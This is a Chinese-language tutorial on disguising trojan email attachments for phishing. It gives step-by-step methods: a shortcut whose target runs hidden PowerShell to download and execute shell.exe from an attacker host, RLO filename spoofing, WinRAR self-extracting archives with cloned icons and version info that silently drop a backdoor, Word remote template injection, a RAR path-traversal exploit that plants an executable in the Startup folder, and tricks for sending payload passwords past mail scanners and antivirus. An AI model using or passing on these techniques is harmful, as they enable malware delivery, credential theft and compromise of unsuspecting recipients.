附件木马伪装的N种方法
目录
| 序号 | 目录要点 | 预计阅读时间 |
|---|---|---|
| 1 | 传输加密附件 | 30s |
| 2 | 快捷方式(Lnk) | 30s |
| 3 | RLO编码文件名欺骗 | 30s |
| 4 | 解压 | 2min |
| 5 | 超长文件名隐藏 | 10s |
| 6 | 文件利用 | 2min |
| 7 | WindowsPE文件 | 20s |
| 8 | 链接下载附件 | 20s |
| 9 | Iso和IMG等镜像 | 20s |
| 10 | RAR目录穿越 | 30s |
| 11 | 恶意html文件js调用powershell | 10s |
常见手法
传输加密附件
通过附件加密,可绕过安全设备检测,从而将恶意附件投递至收件人邮箱。
对压缩文件进行加密,密码以其他方式告知受害者
zip -r -q -o -P password pack.zip ./

加密的附件会使常规的检测功能失效,但是目前许多设备已经支持对邮件正文进行文本提取,从而解开附件加密。
绕过的方法大多分为以下几种:
- 将恶意附件的密码以图片或者PDF形式告知
- 补发一封无附件邮件,将密码单独写在正文中
- 在正文中进行简单的文字混淆,比如使用繁体字或者用符号分隔词语。
- 社工目标账户,使用其他的社交平台给予密码,比如邮件正文中引导目标加自己的微信,然后使用微信告知附件密码。
快捷方式(Lnk)⭐️
修改快捷方式中的目标栏内容执行powershell命令下载木马
实现过程
将以下内容写入目标栏中:参考
C:\Windows\System32\cmd.exe /c powershell.exe -nop -w hidden -command IEX (new-object net.webclient).DownloadFile('http://ip/shell.exe','C:\Windows\Temp\shell.exe');&cmd /c "C:\Windows\Temp\shell.exe"
调用powershell,隐藏窗口执行下载网站的EXE恶意文件,存储到某一文件夹下,命令行运行EXE恶意文件
隐藏恶意文件,利用命名及图标伪装的快捷方式诱导点击
将真实要执行的恶意文件进行隐藏(此步骤可选)
创建快捷方式指向该文件,修改目标内容为explorer.exe .\evil.exe 将起始位置内容删除
修改后缀为txt,并修改图标
最终效果如下,双击启动计算器。
RLO编码文件名欺骗⭐️
在windows下,如果字符串中存在Unicode字符RLO,则该字符右边的字符串会逆序显示,将后缀进行颠倒,实现文件名欺骗,不更改文件原本类型。
实现过程
F2进行重命名后在.exe前右键选择“插入Unicode控制字符(I)”点击“RLO”,输入fdp回车(该编码会导致输入显示逆序)即变成了pdf格式文件(注:不用加".")。


自解压⭐️
利用winrar压缩工具自带的自解压功能实现全程无感知上线
利用工具的下载链接:
Winrar下载链接:https://www.win-rar.com/download.html?&L=0
ResourceHacker:http://www.angusj.com/resourcehacker/
实现过程
创建自解压文件
- 准备好正常的软件和后门软件

- 创建自解压文件,以真实安装包名字命名
- 设置自解压选项
解压后运行自解压文件中真实的安装包和恶意文件,使用静默模式,以达成无感知效果
修改自解压文件的资源文件
-
利用ResourceHacker工具(该工具可查看,修改,添加,删除和重命名,提取Windows可执行文件和资源文件的资源替换工具)修改自解压文件资源,更逼真
-
先提取正常软件的图标
-
打开刚才创建的自解压文件,替换图标
-
保存后打开源正常文件,查看正常软件的version信息,并复制下来,后面自解压软件替换信息用。
-
添加自解压软件的version信息
-
点绿色箭头进行保存
-
查看信息可见一样
-
超长文件名隐藏
利用windows目录默认显示文件名长度特性,进行修改将文件名加长隐藏后缀名。
文件利用
Office噩梦公式
该漏洞所利用的是微软Office程序的一个名为“EQNEDT32.EXE”的组件,它的另一个名字大家就很熟悉了——“公式编辑器”。这个漏洞的攻击是专门针对office公式编辑器发起的,当我们打开文档时,文档代码会在无需用户手动启动公式编辑器的情况下自动触发漏洞。漏洞触发后会先下载远程服务器上的恶意HTA程序到本地执行。并进一步下载更多恶意程序到用户机器上执行。
从中招的用户角度来看,从打开文档到被控制,整个过程中基本上是没有感知的。一切行为都静默完成。

由于此漏洞比较老,现如今的安全软件能较好的拦截此漏洞。
office附件宏病毒
office文档中的宏是Office中最高级别的部分,平时大家很少用到,它能把繁重的工作简单化,默认的安全级别为中,宏病毒正是利用这一点通过网络、U盘等进行传播。所有的office宏病毒都有一个必要条件,就是开启了下图所示的宏功能,只要不开启这个功能就不会中招。

Word宏远程加载
Word文档的后缀有多种,像是.doc或者.docm文档中默认开启宏,而.docx中是不包含宏的文件格式,所以通常不会被拦截,用户会降低警惕性。
在已经有office宏病毒的情况下,将恶意文件上传到任意可以访问的攻击者的公网地址。例如http://IP/a.dotm【网址】?raw=true【参数】(注:?raw=true参数必须加上,否则下载不了文件)
打开word找任意一个模板双击使用,然后不修改任何东西保存。

把文件改为zip结尾。
然后解压缩
进入_rels文件,修改文件夹中的settings.xml.rels文件,把其中的target改为恶意文件的url

然后再将解压的文件重新压缩回去,并把文件后缀重新修改为.docx

打开文件后会提示是否启用内容,一旦启动即可cs上线。
远程加载的免杀效果非常不错,基本不会被杀软拦截,但是考虑到网络速度和文件加载速度的问题,可能打开会比较慢。
Office RTF 远程栈溢出
Microsoft Office XP SP3,Office 2003 SP3,Office 2007 SP2,Office 2010等多个版本的Office软件中的Open XML文件格式转换器存在栈溢出漏洞,主要是在处理RTF中的“pFragments”属性时存在栈溢出,导致远程攻击者可以借助特制的RTF数据执行任意代码,因此该漏洞又名“RTF栈缓冲区溢出漏洞”。
Office DDE 漏洞
DDE只不过是一个自定义字段,用户可插入文档。这些字段允许用户输入简单的说明,包括插入到新文档中的数据及插入位置。问题是恶意软件制作者 可以创建包含DDE字段的恶意Word文件(而不需要打开另一个Office应用程序)、打开命令提示符和运行恶意代码。通常情况下,Office应用程序会显示两项告警内容。第一个是关于包含指向其他文件的链接的文档告警,第二个是关于打开远程命令提示符的错误告警。
Excel IQY文件
Iqy文件就像是在excel中内置了一个web浏览器,允许从一个远程网页检索并导入到excel中,本质就是利用iqy文件从服务器请求脚本,从而下载并执行后续的payload。

制作一个简单的iqy文件(此处只做一个演示,详细Payload不做公开)

打开后会提示存在安全问题,只要稍加注意就不会中招。
WindowsPE文件
.exe(可执行文件) .com(简单可执行文件) .cpl(控制面板扩展) .src(屏幕保护程序)这些都属于鼠标点击可以直接运行的程序,在邮件钓鱼中主要解决的问题有三个:
- 1.后缀名隐藏
- 2.文件图标更换
- 3.文件免杀
默认情况下windows隐藏已知的文件扩展名。所以使用.jpg.exe就可以把一个恶意exe文件隐藏成一个.jpg文件 或者是使用RLO反转。
链接下载附件
邮件中可能不会把附件直接添加进去,而是在正文中写去哪里下载。通过磁力链或者是百度网盘之类的诱导用户下载恶意附件,实际的攻防情况下还可能存在使用ftp传输协议来传输恶意样本的,比如 ftp://xxxxxxxx 然后将ftp匿名登录开启或者是把ftp账密写入正文中来诱导用户下载。
ISO和IMG等镜像
.ISO和.IMG或者是UDF镜像文件可以理解为是一种压缩文件,所以镜像中藏匿恶意程序也是理所当然的事情。很多杀软类的软件会忽略对镜像文件的安全检查,所以将恶意文件放进去可以绕过很多检查关卡。
更有甚者会把后门植入到操作系统中,然后把系统打包成镜像上传到公网进行大范围的钓鱼。早些年爆出的windows7系统大范围抓肉鸡就是依靠的这个原理。
RAR目录穿越 CVE-2018-20250
漏洞主要是由Winrar用来解压ACE压缩包采用的动态链接库unacev2.dll这个dll引起的。unacev2.dll中处理filename时只校验了CRC,黑客可以通过更改压缩包的CRC校验码来修改解压时候的filename来触发这个Path Traversal漏洞。但是Winrar本身检测了filename,有一些限制并且普通用户解压RAR文件时候不能将我们恶意的Payload解压到需要System权限的文件夹。
当用户将文件下载到默认的C:\Users\Administrator\Downloads目录下时,我们通过构造C:\C:C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe。
经过Winrar的CleanPath函数处理会变成
C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe。
其中C:会被转换成当前路径,如果用Winrar打开那么当前路径就是C:\Program Files\WinRAR,要是在文件夹中右键解压到xxx\那么当前路径就是压缩包所在的路径。
当用户在文件夹中直接右键解压到xx那么我们恶意的payload解压地址就会变成C:\Users\Administrator\Downloads../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe,就是当前用户的启动项。这样一个利用完成了从一个目录穿越到任意命令执行的过程。
自动化脚本地址:https://github.com/backlion/CVE-2018-20250
其中calc.exe可以换成任意的木马文件,world.txt和hello.txt是需要压缩的文件。
执行脚本后会自动生成test.rar文件。
只需要受害者打开test.rar文件就会自动在受害者当前用户的启动选项下生产一个后门文件hi.exe,路径:
C:\Users\xxx\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
如下图:
恶意html文件js调用powershell
此方式利用比较苛刻,可以参考一下最近爆出的XMIND XSS RCE。因为大部分情况下js都无法有权限操作主机,这是风险很高的行为。但是在node.js环境下就不一样,若是集成了node.js后端的程序或者是软件,就可以使用Node.js来调用shellcode来实现恶意攻击。